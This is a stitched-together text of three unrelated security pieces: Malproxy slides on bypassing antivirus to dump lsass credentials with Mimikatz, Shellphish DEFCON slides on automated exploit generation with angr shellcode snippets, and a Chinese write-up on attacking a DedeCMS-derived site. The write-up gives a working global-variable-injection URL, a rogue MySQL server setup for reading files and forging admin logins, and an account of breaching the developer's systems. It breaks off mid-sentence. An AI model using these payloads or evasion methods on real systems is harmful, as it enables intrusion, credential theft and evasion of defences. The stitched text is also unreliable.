ReturnLength Return value Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE TARGET SIDE Response Message ProcessInformation ReturnLength Return value Attacker OS P r o c e s s Malicious code Target OS P r o c e s s Innocent code RECAP Target & attacker stubs Load the PE file and hook system API functions Execution flow – hook, serialize, send, execute, serialize, send, return. Repeat. API Running MALPROXY ATTACKER SIDE TARGET SIDE Running MALPROXY ATTACKER SIDE TARGET SIDE Running MALPROXY ATTACKER SIDE IMPORT ADDRESS TABLE NtQuerySystemInformation Kernel32.dll OpenProcess Kernel32.dll ReadProcessMemory Ntdll.dll BCryptGenerateSymetricKey Bcrypt.dll ConvertSidToStringSidW Advapi32.dll … … RtlAdjustPrivilege Ntdll.dll NtQueryInformationProcess Ntdll.dll RtlEqualUnicodeString Ntdll.dll TARGET SIDE Running MALPROXY ATTACKER SIDE IMPORT ADDRESS TABLE NtQuerySystemInformation Malproxy OpenProcess Malproxy ReadProcessMemory Malproxy BCryptGenerateSymetricKey Bcrypt.dll ConvertSidToStringSidW Advapi32.dll … … RtlAdjustPrivilege Malproxy NtQueryInformationProcess Malproxy RtlEqualUnicodeString Ntdll.dll TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt RtlAdjustPrivilege TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt RtlAdjustPrivilege NtQuerySystemInformation Chrome.exe, explorer.exe Calc.exe, lsass.exe TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt RtlAdjustPrivilege NtQuerySystemInformation TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt RtlAdjustPrivilege NtQuerySystemInformation OpenProcess Handle 0x00000080 PID 1234 TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt RtlAdjustPrivilege NtQuerySystemInformation OpenProcess NtQueryInformationProcess Handle 0x00000080 PEB at 0xdeadbeef TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt RtlAdjustPrivilege NtQuerySystemInformation OpenProcess NtQueryInformationProcess ReadProcessMemory Read 0xdeadbeef [0x12, 0x34, 0x56, 0x78] TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt RtlAdjustPrivilege NtQuerySystemInformation OpenProcess NtQueryInformationProcess ReadProcessMemory TARGET SIDE Running MALPROXY ATTACKER SIDE RtlAdjustPrivilege NtQuerySystemInformation OpenProcess NtQueryInformationProcess ReadProcessMemory PWNED! RtlAdjustPrivilege NtQuerySystemInformation RtlEqualUnicodeString OpenProcess NtQueryInformationProcess ReadProcessMemory BCryptDecrypt TopSecretPassword TARGET SIDE DEMO Endpoint protections BYPASS Behavioral Signatures Bypassing Heuristic Rules Bypassing Static Signatures Security Solution Mimikatz sekurlsa::logonpasswords Microsoft Defender Malproxied! Symantec Norton Security Malproxied! Kaspersky Internet Security Blocks ReadProcessMemory without a verdict ESET Smart Security Malproxied! Avast Free Antivirus Blocks OpenProcess on lsass.exe without a verdict Bitdefender Total Security Malproxied! McAfee Total Protection Malproxied! MITIGATIONS Any more ideas? Hunt and sign the target-side proxy stub Improve the behavioral signature engines to handle their known weaknesses MITIGATIONS Any more ideas? /dev/null Hunt and sign the target-side proxy stub Improve the behavioral signature engines to handle their known weaknesses CREDITS The Crazy Ideas Section - Remote Syscalls by Yaron Shani: http://breaking-the-system.blogspot.com/2016/06/the-crazy-ideas-section- remote-syscalls.html Syscall Proxying - Simulating remote execution by Maximiliano Caceres: http://www.vodun.org/papers/exploits/SyscallProxying.pdf Syscall Proxying || Pivoting Systems by Filipe Balestra and Rodrigo Rubira Branco: https://www.kernelhacking.com/rodrigo/docs/H2HCIII.pdf Questions?
pdf
Cyber Grand Shellphish DEFCON 24 August 7, 2016 · Track 2 - 3pm Giovanni Vigna Christopher Kruegel zanardi void HEX on the beach UC Santa Barbara nullptr zanardi void balzaroth sicko irish SIMULATION 2004 UC Santa Barbara nullptr zanardi void balzaroth sicko irish TU Vienna void engiman pizzaman SIMULATION 2005 virus weaver marco beetal Northeastern and boston university UC Santa Barbara zanardi balzaroth sicko irish TU Vienna void nullptr engiman pizzaman odo adamd giullo voltaire bboe virus weaver marco beetal void pizzaman gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b mw engiman nullptr SIMULATION 2006 - 2011 collin Northeastern and boston university UC Santa Barbara zanardi balzaroth sicko irish virus weaver marco beetal void odo adamd giullo voltaire bboe pizzaman gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw collin pizzaman acez fish cao salls subwire mossberg crowell nezorg rhelmot jay vitor SIMULATION 2011 - 2014 mw collin Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi sicko irish virus weaver marco beetal mossberg crowell nezorg rhelmot jay vitor void odo giullo voltaire bboe balzaroth adamd gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw collin pizzaman acez fish cao salls subwire mike_pizza donfos double acez balzaroth adamd gianluca SIMULATION 2015 Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi mossberg crowell nezorg rhelmot jay void odo zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw irish weaver giullo voltaire virus sicko marco beetal vitor bboe collin pizzaman fish cao salls subwire mike_pizza donfos double acez balzaroth adamd gianluca SIMULATION Modern day Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi mossberg crowell nezorg rhelmot jay void odo zardus cavedon hacopo reyammer anton00b engiman nullptr mw pizzaman fish cao salls subwire mike_pizza donfos acez balzaroth adamd gianluca SIMULATION Modern day DARPA Competitions Self-driving Cars Robots The DARPA Cyber Grand Challenge Programs! 2015 2016 2014 Registration Deadline Shellphish signs up! 2013 1st commit to the CRS! 2nd commit to the CRS! CGC Quals! 3 weeks of insanity CGC Finals! 3 months of insanity “Code freeze” Final commit to the CRS! Scored event 1 Scored event 2 analyze pwn patch 20 analyze pwn patch 21 - Linux-inspired environment, with only 7 syscalls ■ transmit / receive / fdwait (≈ select) ■ allocate / deallocate ■ random ■ terminate - No need to model the POSIX API! - Otherwise real(istic) programs. 22 analyze pwn patch 23 - No filesystem -> no flag? - CGC Quals: crash == exploit - CGC Finals: two types of exploits 1. "flag overwrite": set a register to X, crash at Y 2. "flag read": leak the "secret flag" from memory 24 analyze pwn patch 25 int main() { return 0; } fails functionality checks... signal(SIGSEGV, exit) inline QEMU-based CFI? performance penalties... no signal handling! 26 A completely autonomous system • Patch • Crash Mechanical Phish (CQE) Completely autonomous system • Patch • Crash • Exploit Mechanical Phish (CFE) The DARPA Cyber Grand Challenge The CGC Final Event (CFE) • The competition is divided in rounds (96), with short breaks between rounds • The competition begins: The system provides a set of Challenge Binaries (CBs) to the teams’ CRSs – Each CB provides a service (e.g., an HTTP server) – Initially, all teams are running the same binaries to implement each service • For each round, a score for each (team, service) tuple is generated The CGC Final Event (CFE) • Availability: how badly did you fuck up the binary? • Security: did you defend against all exploits? • Evaluation: how many n00bs did you pwn? • When you are shooting blindfolded automatic weapons, it’s easy to shoot yourself in the foot… Code Freeze? oops! Tue 2 Aug, 23:54 ~15 hours before access shutdown Farnsworth Meister TI API IDS tap Ambassador Scriba Network Dude Poll Creator Tester Patcherex AFL Driller Colorguard Rex POV Fuzzer POV Tester Worker Farnsworth Object-relational model for database: - What CS are fielded this round? - Do we have crashes? - Do we have a good patch? - ... Our ground truth and the only component reasonably well tested* * 69% coverage Meister Job scheduler: • Looks at game state • Asks creators for jobs • Schedules them based on priority On the Shoulders of Giants AFL angr Unicorn Engine Capstone Engine VEX angr • Framework for the analysis of binaries, developed at UCSB • Supports a number of architectures – x86, MIPS, ARM, PPC, etc. (all 32 and 64 bit) • Open-source, free for commercial use (!) – http://angr.io – https://github.com/angr – [email protected] angr angr Concolic Execution Automatic Exploitation Patching Fuzzing • Fuzzing is an automated procedure to send inputs and record safety condition violations as crashes – Assumption: crashes are potentially exploitable • Several dimensions in the fuzzing space – How to supply inputs to the program under test? – How to generate inputs? – How to generate more “relevant” crashes? – How to change inputs between runs? • Goal: maximized effectiveness of the process Gray/White-box Fuzzing Input Generator Application Under Analysis Crash Crash Database Bugs (0-day) Fuzzing Infrastructure Feedback How do we find crashes? Fuzzing Symbolic Execution "Uncrasher" Network Traffic Fuzzing: American Fuzzy Lop x = int(input()) if x >= 10: if x < 100: print "You win!" else: print "You lose!" else: print "You lose!" Let's fuzz it! 1 ⇒ "You lose!" 593 ⇒ "You lose!" 183 ⇒ "You lose!" 4 ⇒ "You lose!" 498 ⇒ "You lose!" 42 ⇒ "You win!" x = int(input()) if x >= 10: if x^2 == 152399025: print "You win!" else: print "You lose!" else: print "You lose!" Let's fuzz it! 1 ⇒ "You lose!" 593 ⇒ "You lose!" 183 ⇒ "You lose!" 4 ⇒ "You lose!" 498 ⇒ "You lose!" 42 ⇒ "You lose!" 3 ⇒ "You lose!" ………. 57 ⇒ "You lose!" - Very fast! - Very effective! - Unable to deal with certain situations: - magic numbers - hashes - specific identifiers x = input() if x >= 10: if x % 1337 == 0: print "You win!" else: print "You lose!" else: print "You lose!" ??? x < 10 x >= 10 x >= 10 x % 1337 != 0 x >= 10 x % 1337 == 0 x = input() if x >= 10: if x % 1337 == 0: print "You win!" else: print "You lose!" else: print "You lose!" ??? x < 10 x >= 10 x >= 10 x % 1337 != 0 x >= 10 x % 1337 == 0 1337 Driller = AFL + angr Fuzzing good at finding solutions for general inputs Symbolic Execution good at find solutions for specific inputs Driller Test Cases Driller “Cheap” fuzzing coverage Test Cases “Y” “X” Driller “Cheap” fuzzing coverage Test Cases “Y” “X” Dynamic Symbolic Execution ! Driller “Cheap” fuzzing coverage Test Cases “Y” “X” Dynamic Symbolic Execution “CGC_MAGIC” New test cases generated Driller “Cheap” fuzzing coverage Test Cases “Y” “X” Dynamic Symbolic Execution “CGC_MAGIC” New test cases generated “CGC_MAGICY” Auto Exploitation - Simplified typedef struct component { char name[32]; int (*do_something)(int arg); } comp_t; comp_t *initialize_component(char *cmp_name) { int i = 0; struct component *cmp; cmp = malloc(sizeof(struct component)); cmp->do_something = sample_func; while (*cmp_name) cmp->name[i++] = *cmp_name++; cmp->name[i] = ‘\0’; return cmp; } x = get_input(); cmp = initialize_component(x); cmp->do_something(1); HEAP char name[32]; int (*do_something)(int arg) Symbolic Byte[0] ‘\0’ &sample_func Symbolic Byte[0] Symbolic Byte[1] ‘\0’ Symbolic Byte[0] Symbolic Byte[1] Symbolic Byte[2] ‘\0’ Symbolic Byte[0] Symbolic Byte[1] Symbolic Byte[2] Symbolic Byte[3] Symbolic Byte[4] Symbolic Byte[5] Symbolic Byte[6] Symbolic Byte[7] ... Symbolic Byte[32] … Symbolic Byte[36] ‘\0’ call <symbolic byte[36:32]> Auto Exploitation - Simplified Turning the state into an exploited state angr assert state.se.symbolic(state.regs.pc) Constrain buffer to contain our shellcode angr buf_addr = find_symbolic_buffer(state, len(shellcode)) mem = state.memory.load(buf_addr, len(shellcode)) state.add_constraints(mem == state.se.bvv(shellcode)) Auto Exploitation - Simplified Constrain PC to point to the buffer angr state.se.add_constraints(state.regs.pc == buf_addr) Synthesize! angr exploit = state.posix.dumps(0) Vulnerable Symbolic State (PC hijack) Auto Exploitation - Simplified + Constraints to make PC point to shellcode Exploit Constraints to add shellcode to the address space Detecting Leaks of the Flag Page • Make only the flag page symbolic • Everything else is completely concrete – Can execute most basic block with the Unicorn Engine! • When we have idle cores on the CRS, trace all our testcases • Solved DEFCON CTF LEGIT_00009 challenge Patcherex Unpatched Binary Patching Backend Patched Binary Patching Techniques Patches Patching Techniques: - Stack randomization - Return pointer encryption - ... Patches: - Insert code - Insert data - ... Patching Backend: - Detour - Reassembler - Reassembler Optimized Adversarial Patches 1/2 Detect QEMU xor eax, eax inc eax push eax push eax push eax fld TBYTE PTR [esp] fsqrt Adversarial Patches 2/2 Transmit the flag - To stderr! Backdoor - hash-based challenge-response backdoor - not “cryptographically secure” → good enough to defeat automatic systems Generic Patches Return pointer encryption Protect indirect calls/jmps Extended Malloc allocations Randomly shift the stack (ASLR) Clean uninitialized stack space Targeted Patches Qualification event → avoid crashes! Targeted Patches Final event → Reassembler & Optimizer - Prototypes in 3 days angr is awesome!! - A big bag of tricks integrated, which worked out CGC CFE Statistics 1/3 - 82 Challenge Sets fielded - 2442 Exploits generated - 1709 Exploits for 14/82 CS with 100% Reliability - Longest exploit: 3791 lines of C code - Shortest exploit: 226 lines of C code - crackaddr: 517 lines of C code 100% reliable exploits generated for: • YAN01_000{15,16} • CROMU_000{46,51,55,65,94,98} • NRFIN_000{52,59,63} • KPRCA_00{065,094,112} Rematch Challenges: - SQLSlammer (CROMU_00094) - crackaddr (CROMU_00098) CGC CFE Statistics 2/3 Vulnerabilities in CS we exploited: • CWE-20 Improper Input Validation • CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer • CWE-121: Stack-based Buffer Overflow • CWE-122: Heap-based Buffer Overflow • CWE-126: Buffer Over-read • CWE-131: Incorrect Calculation of Buffer Size • CWE-190: Integer Overflow or Wraparound • CWE-193 Off-by-one Error • CWE-201: Information Exposure Through Sent Data • CWE-202: Exposure of Sensitive Data Through Data Queries) • CWE-291: Information Exposure Through Sent Data • CWE-681: Incorrect Conversion between Numeric Types • CWE-787: Out-of-bounds Write • CWE-788: Access of Memory Location After End of Buffer CGC CFE Statistics 3/3 Human augmentation... Awesome: - CRS assisted with 5 exploits - Human exploration -> CRS exploitation - Backdoors! Tough: - API incompatibilities are brutal - Computer programs are brittle Open source all the code! @shellphish Stay in touch! twitter: @Shellphish email: [email protected] or [email protected] irc: #shellphish on freenode CRS chat: #shellphish-crs on freenode angr chat: #angr on freenode Backup Conclusions • Automated vulnerability analysis and mitigation is a growing field • The DARPA CGC Competition is pushing the limits of what can be done in a self-managed, autonomous setting • This is a first of this kind, but not the last • … to the singularity! Self-Managing Hacking • Infrastructure availability – (Almost) No event can cause a catastrophic downtime • Novel approaches to orchestration for resilience • Analysis scalability – Being able to direct efficiently (and autonomously) fuzzing and state exploration is key • Novel techniques for state exploration triaging • Performance/security trade-off – Many patched binaries, many approaches: which patched binary to field? • Smart approaches to security performance evaluation Hacking Binary Code • Low abstraction level • No structured types • No modules or clearly defined functions • Compiler optimization and other artifacts can make the code more complex to analyze • WYSIWYE: What you see is what you execute Finding Vulnerabilities Human Semi-Automated Fully Automated Manual Vulnerability Analysis • “Look at the code and see what you can find” • Requires substantial expertise – The analysis is as good as the person performing it • Allows for the identification of complex vulnerabilities (e.g., logic-based) • Expensive, does not scale Tool-Assisted Vulnerability Analysis • “Run these tools and verify/expand the results” • Tools help in identifying areas of interest – By ruling out known code – By identifying potential vulnerabilities • Since a human is involved, expertise and scale are still issues Automated Vulnerability Analysis • “Run this tool and it will find the vulnerability” – … and possibly generate an exploit... – ...and possibly generate a patch • Requires well-defined models for the vulnerabilities • Can only detect the vulnerabilities that are modeled • Can scale (not always!) • The problem with halting… Vulnerability Analysis Systems • Usually a composition of static and dynamic techniques • Model how attacker-controlled information enter the system • Model how information is processed • Model a number of unsafe conditions Static Analysis • The goal of static analysis techniques is to characterize all possible run-time behaviors over all possible inputs without actually running the program • Find possible bugs, or prove the absence of certain kinds of vulnerabilities • Static analysis has been around for a long while – Type checkers, compilers – Formal verification • Challenges: soundness, precision, and scalability Example Analyses • Control-flow analysis: Finds and reasons about all possible control-flow transfers (sources and destinations) • Data-flow analysis: Reasons about how data flows within the program • Data dependency analysis: Reasons about how data influences other data • Points-to analysis: Reasons about what values can pointers take • Alias analysis: Determines if two pointers might point to the same address • Value-set analysis: Reasons about what are the set of values that variables can hold Dynamic Analysis • Dynamic approaches are very precise for particular environments and inputs – Existential proofs • However, they provide no guarantee of coverage – Limited power Example Analyses • Dynamic taint analysis: Keeps track of how data flows from sources (files, network connections) to sinks (buffers, output operations, database queries) • Fuzzing: Provides (semi)random inputs to the program, looking for crashes • Forward symbolic execution: Models values in an abstract way and keeps track of constraints The Shellphish CRS: Mechanical Phish vulnerable binary proposed patches crashes Automatic Testing exploit patched binary Automatic Vulnerability Finding Automatic Vulnerability Patching Automatic Exploitation proposed exploits Interactive, Online CTFs • Very difficult to organize • Require substantial infrastructure • Difficult to scale • Focused on both attacking and defending in real time • From ctftime.org: 100+ events listed • Online attack-defense competitions: – UCSB iCTF 13 editions – RuCTF 5 editions – FAUST 1 edition CTFs Are Playgrounds… • For people (hackers) • For tools (attack, defense) • But can they be used to advance science? DECREE API • void _terminate(unsigned int status); • int allocate(size_t length, int prot, void **addr); • int deallocate(void *addr, size_t length); • int fdwait(int nfds, fd_set *readfds, fd_set *writefds, struct timeval *timeout, int *readyfds); • int random(void *buf, size_t count, size_t *rnd_bytes); • int receive(int fd, void *buf, size_t count, size_t *rx_bytes); • int transmit(int fd, const void *buf, size_t count, size_t *tx_bytes); P Actual run-time behaviors Soundness and Completeness P Actual run-time behaviors Soundness and Completeness Over-approximation (sound) P Actual run-time behaviors Soundness and Completeness More precise over-approximation (sound) P Actual run-time behaviors Soundness and Completeness Under-approximation (complete) P Actual run-time behaviors Soundness and Completeness Unsound, incomplete analysis Hidden Changed with "All the things" meme Open the source! Human + Machine = WIN! OMG, can’t do stairs?!? Simulation For Team Shellphish • R00: Competition fields CB1, CB2, CB3 • R01: CRS generates PoV1, RB2 – Points for round 00: • (CB1, CB2, CB3): Availability=1, Security=2, Evaluation=1 → Score = 2 • Total score: 6 • R02: Competition fields CB1, RB2, CB3 – Points for round 01 • CB1: Availability=1, Security=1, Evaluation= 1+(6/6) →Score = 2 • RB2: 0 • CB3: Availability=1, Security=2, Evaluation=1 → Score = 2 • Total score: 4 Simulation For Team Shellphish • R03: Competition fields CB1, RB2, CB3 – Points for round 02 • CB1: Availability=1, Security=1, Evaluation=1+(3/6) → Score = 1.5 • RB2: Availability=0.8, Security=2, Evaluation=1 → Score = 1.6 • CB3: Availability=1, Security=2, Evaluation=1 → Score = 2 • Total score: 5.1
pdf
对某 DedeCMS 二开系统全局变量追加漏洞 利用 本文纯属虚构,网站皆为本地靶场。 我写文章总是喜欢带着我的个人感情,去记录我尝试过的失败和踩过的坑,最开始写文章都是为了自己 日后方便想起更多的细节和当时脑子里的想法,所以总是那么的啰啰嗦嗦,嫌长的可以直接看 进入后台 部分 起因 无意中发现某个违法网站所使用的程序在某些细节处很像 DedeCMS ,但又不完全一样,推测出有可能 是自研发或基于 DedeCMS 二开的,感觉有搞头,于是通过 fofa 搜索相关指纹和 ico 得到将近十个 来个类似的站点,并发现了目标的测试站,通过其他站分析得出是 XX公司 基于 DedeCMS 删减后的程 序,于是围绕这十来个站打了一晚上的旁站,就为了能搞到一份源码,从无关紧要的同程序旁站一直打 到开发公司的禅道拿了好几台机器,不是没找到,就是源码不完整一直没搞到一份完整的源码,最终在 禅道中发现了开发公司给客户使用的域名,并通过历史解析记录查到一批之前没有找到的站,最终使用 这些站自身的域名做字典扫描备份获取到了一份在用的、完整的源码,于是就有了这段繁琐的审计与漏 洞利用过程,感觉很有意思,利用也很麻烦所以打算记录一遍。 正文 拿到源码后大概看了一眼,开始有点绝望, 90% 的源码基本都是 DedeCMS 原始的,他们改动最大的 地方就是后台...并且他还把 DedeCMS 重要的 data 目录移到 web 目录外面去了,并且连 /plus 文 件夹下的文件基本都删光了,这导致很多重要的信息和漏洞根本无法通过 web 获取和利用 查看 DedeCMS 的版本文件确认最后一次升级时间为 20180109 对应的版本为 DEDECMS-V5.7-UTF8- SP2 ,此版本在我印象中出过很多洞,但通过搜索引擎检索该版本历史漏洞,发现基本都是要开启会员 或者进入后台才能利用、一些前台的洞这套程序直接连文件都删掉了,根本无法利用。不过好在发现他 们的后台是固定的,不像原生的 DedeCMS 一样,喜欢要求站长换地址,并且还存在两个后台 一个是 admin@@ (这个是我编的) 这个是织梦原始的后台 另一个是 adminxx (这个也是我编的) 这个是他们自己写的后台。 很幸运,测试发现几乎所有站和目标站都没有修改后台地址,不存在 DedeCMS 找后台难的问题 前面测了那么多历史漏洞都不存在,所以只能从代码入手,看能不能挖个洞出来用了。 那接下来的要做的事情无非就是 1. 找前台 RCE , 从他们改动过的代码中看能不能找一个 RCE 出来 2. 找前台注入, DedeCMS 历史中出过很多注入,他们改过的地方有可能会存在注入 3. 放弃审计,直接去爆破目标测试站后台密码,日下来后挂探针抓密码,拿到密码再去打生产站 很显然我肯定优先尝试第一第二个思路,把源码拖进去法师的代码审计工具里跑一遍,扫出 1458 个可 疑漏洞,心中暗喜,但一路看下来发现 60% 的问题都在两个后台, 40% 是 DedeCMS 框架的问题,前 台能访问的基本都是误报,他们自己写的代码全都在后台 ! 前台展示的,调用的全部都是 DedeCMS 自 己原生的代码! 来给我解释解释,什么叫惊喜!这也能叫二开?这简直就只是换了个 HTML 模板,也好意思把前台对外 所有的 DedeCMS 标识都换成自己的 XXcms 冒充自己公司研发的程序?[摊手] 放弃 1.0 闹归闹,即使代码就是原生的,我的目标也还得接着打,只能硬着头皮审了,看了很久的代码毫无头 绪,又回去看以前爆出的历史用漏洞,最终在一篇看了千八百遍最早发布于 2016年6月 实际有可能跟 早的文章中 ( DedeCMS最新版本修改任意管理员漏洞+getshell+exp 有兴趣的可以百度,一堆) 发现作者 写的一句话 瞬间来劲了,看了一下作者当时所贴出的漏洞代码,定位到相关文件( /include/dedesql.class.php ) 发现代码一模一样 但由于找不到原始出处,所以不确定当时所说的最新版是什么版本,并且作者给出的添加用户的 EXP 所触发的文件( /plus/download.php ),我手里这套程序直接把文件给删掉了, /plus 文件夹中只有五 个文件... 看了一眼代码发现只有四个文件在调用链中包含了上面的漏洞文件,但按照逻辑这四个文件 也应该受影响!抱着试试看的态度,拿着作者的 EXP 打了一下 /plus/search.php ,结果提示了 DedeCMS 经典的注入拦截信息! 这明显是生效了!只不过被 DedeCMS 自带的检测函数给拦截了!继续跟代码发现 /plus/search.php 和他的类文件 /include/arc.searchview.class.php , 所有 SQL 查询均使用了 ExecuteNoneQuery 函数,而 ExecuteNoneQuery 函数执行 SQL 语句前会被检测防注入 CheckSql 函数很长截取部分规则 绕了好一会,发现不好绕... 原作者能打成功是因为 /plus/downloads.php 中调用了 ExecuteNoneQuery2 函数,而 ExecuteNoneQuery2 中并没有防注入检测,所以他能控制 update 语句修改管理员信息。 我全局搜索调用了 ExecuteNoneQuery2 函数的文件 ,发现只有后台文件才有调用,前台四个文件根本 没有利用点... 注入这条路算是断了。 但是全局变量可控,漏洞还是很诱人的,但同时也很鸡肋!因为 /include/dedesql.class.php 606 行的代码中是 .= 而不是 = ,并且只能追加修改一个值,所以导致了它的鸡肋,这个洞只是一个全局 单个变量追加 而不是全局变量修改,玩法瞬间就少了很多。 经过测试是发现基本 $cfg_ 开头的变量和 \data\config.cache.inc.php 中定义的变量基本都能被 追加修改,全局搜索发现调用和定义的地方多达 1768 处! //特殊操作 if(isset($GLOBALS['arrs1'])) {    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)   {        $v1 .= chr($arrs1[$i]);   }    for($i=0;isset($arrs2[$i]);$i++)   {        $v2 .= chr($arrs2[$i]);   }    $GLOBALS[$v1] .= $v2; } 接下来就只能换换思路,在此基础上换个方向继续挖。 1. 继续挖注入,注出管理员或者添加修改管理员 2. 看模板引用等代码,找任意文件包含 3. 修改 $cfg_imgtype 等限制文件后缀变量加白,找前台上传直接任意文件上传 4. 看调用了 $cfg_ 变量前后文的地方看有没有高危函数,找代码注入 5. 修改数据库连接地址,任意文件读取尝试 DedeCMS 反序列化漏洞 首先放弃了继续挖注入,因为我确实没有太多文件能够调用,并且基本都会进入自带的防注入检测,不 想浪费时间。 放弃 2.0 之所以想找文件包含,是发现很多地方都是这样的写法。 我现在 $cfg_basedir 和 $cfg_templets_dir 中其中一个值可控,想想还是有机会的 写了个脚本生成 payload 修改 $cfg_templets_dir 拿 /index.php 做测试,两段 payload 拼接 起来访问一下 修改是修改了,也没有限制,也可以跳目录 - -. 但是还得解决后面的东西,要么想办法去掉,要么找上 传传个 /default/index.htm 要么找后面不跟东西的点.. 打算先找后面不跟东西的点,但是找了半天没找到.. 可能心不在焉了,基本都是大概看一眼就不看了, 打算去找上传,顺便看看是否有可控的后缀 放弃 3.0 看代码找了半天,前台没有任何上传的功能,在 web 的 /include/ckeditor 文件夹下有 ckeditor 编辑器,居然也没有上传!他们把上传的代码给删掉! /index.php? arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=116&arrs1[]=101&arrs1[]=10 9&arrs1[]=112&arrs1[]=108&arrs1[]=101&arrs1[]=116&arrs1[]=115&arrs1[]=95&arrs1[] =100&arrs1[]=105&arrs1[]=114&arrs2[]=47&arrs2[]=46&arrs2[]=46&arrs2[]=47&arrs2[] =46&arrs2[]=46&arrs2[]=47&arrs2[]=116&arrs2[]=101&arrs2[]=115&arrs2[]=116&arrs2[ ]=47 调用都没法调用!无奈还是放弃。代码看累了,连看代码注入的欲望都没有了,不想跟了太麻烦。 放弃 4.0 前面看代码发现问题出在 /web/include/dedesql.class.php 文件中,但基本上只要包含了 /../include/common.inc.php 核心文件,都会受到影响,再找个能发起 SQL 查询的地方并修改一 下数据库连接地址,就可以尝试 Mysql 恶意服务端读文件漏洞了。 😀 先数据库密码改成 123 让他连接失败看看是否生效 (只对当前发出去的数据包生效,不影响网站正常运 行) 改掉了,有戏 ! 但需要解决一个问题,我现在是全局变量追加,所以如果他原来的地址是 127.0.0.1 我也只能在这个 基础上添加修改,不能全部删掉,也就是说我们公网的 mysql 如果是 123.123.123.123 那也只能加 在他的后面,最后变成 127.0.0.1.123.123.123.123 ,要解决这个问题,就只能用域名连接并且要开 启泛解析。 不过开启泛解析很简单随便在 Godaddy 购买个域名,然后添加一条 A 记录指向你的 VPS 主机为 * 就行了。 读个 /etc/passwd 试试 失败了... 并没有都成功,本来还想着试试 DedeCMS 读文件反序列化的那个打法,可惜了。 但是获取 到了目标的数据库名字和加密的密码,但是这密码基本无解,累了不想折腾了。 进入后台 前几个步骤之所以都尝试一下,本质原因其实是想偷懒,想找个又简单又方便的洞,可奈何这套源码, 前台东西实在太少,很多利用点都在后台,看到后面根本没有看的欲望了。其实一开始的时候我就想到 了控制它的 Mysql 伪造后台认证流程进后台的方法,但是实在是太麻烦了,又要搞域名,又要搞数据 库,就一直不想弄,最后没办法了还是得用,真香。 想要控制认证流程,有几个问题需要解决 1. 控制对方 Mysql 连接,让他连我的数据库 解决办法: 修改 $cfg_dbhost 全局变量改变数据库连接地址 2. 解决连接地址只能追加的问题 解决办法: 连接地址用域名,并开启泛解析 3. 要让对方使用他的数据库账号密码认证通过 解决办法: 复杂:自己伪造 Mysql 客户端,建立连接后不管输入啥返回认证成功数据包,改读文件脚本 就行 简单:搭建一个真实数据库并开启跳过权限认证,达到任意账号密码登录的效果( skip-grant- tables ) 4. 要知道对方的数据库名和表前缀 解决办法: tcpdump 抓目标回连过来的 Mysql 数据包 5. 要返回认证所需要的数据内容 解决办法 看代码程序本质还是 DedeCMS 直接下载官方的 DedeCMS 搭建把需要的东西拿出来就行 列出来看好像感觉并不复杂,而且每个问题都有解决方案,事实证明也只是有点繁琐而已,是我的偷懒 心理作祟才不想这样干。但其实这里的很多问题都是在前面的尝试阶段就已经解决了,所以到后面直接 走这一步就显得简单。 域名开启泛解析 在 Godaddy 购买一个域名,然后添加一条 A 记录指向你的 VPS 主机设置为 * 就行 数据库跳过权限认证 直接用 docker 启动一个 Mysql 并修改 my.conf 开启跳过权限认证即可 启动 修改 my.conf tcpdump 抓目标连过来的 Mysql 数据包 也是一条命令的事 监听好以后在登录数据包中添加我构造好的公网开了泛解析的域名 Payload docker run --name mysql --network=host -e MYSQL_ROOT_PASSWORD=123456 -d -i -p 3306:3306 mysql:5.6 [mysqld] pid-file       = /var/run/mysqld/mysqld.pid socket         = /var/run/mysqld/mysqld.sock datadir         = /var/lib/mysql secure-file-priv= NULL skip-grant-tables # 添加这条即可 tcpdump -i eth0 -l port 3306 -w mysql.pcap 发送过去,目标像我发起连接,但因为数据库是空的,很快就会响应完成 基本需要的信息在一次连接中就可以抓全了,数据包里包含了数据库用户名,数据库密码 HASH 、数据 库名,查询的表和字段 查询语句 接下来只需要建立对应的数据库和表名、字段并添加相应内容即可,这里用到了多表查询,所以得建立 两个表只需要添加用到的字段即可 需要注意的是 DedeCMS 密码加密,是 32 位取 20 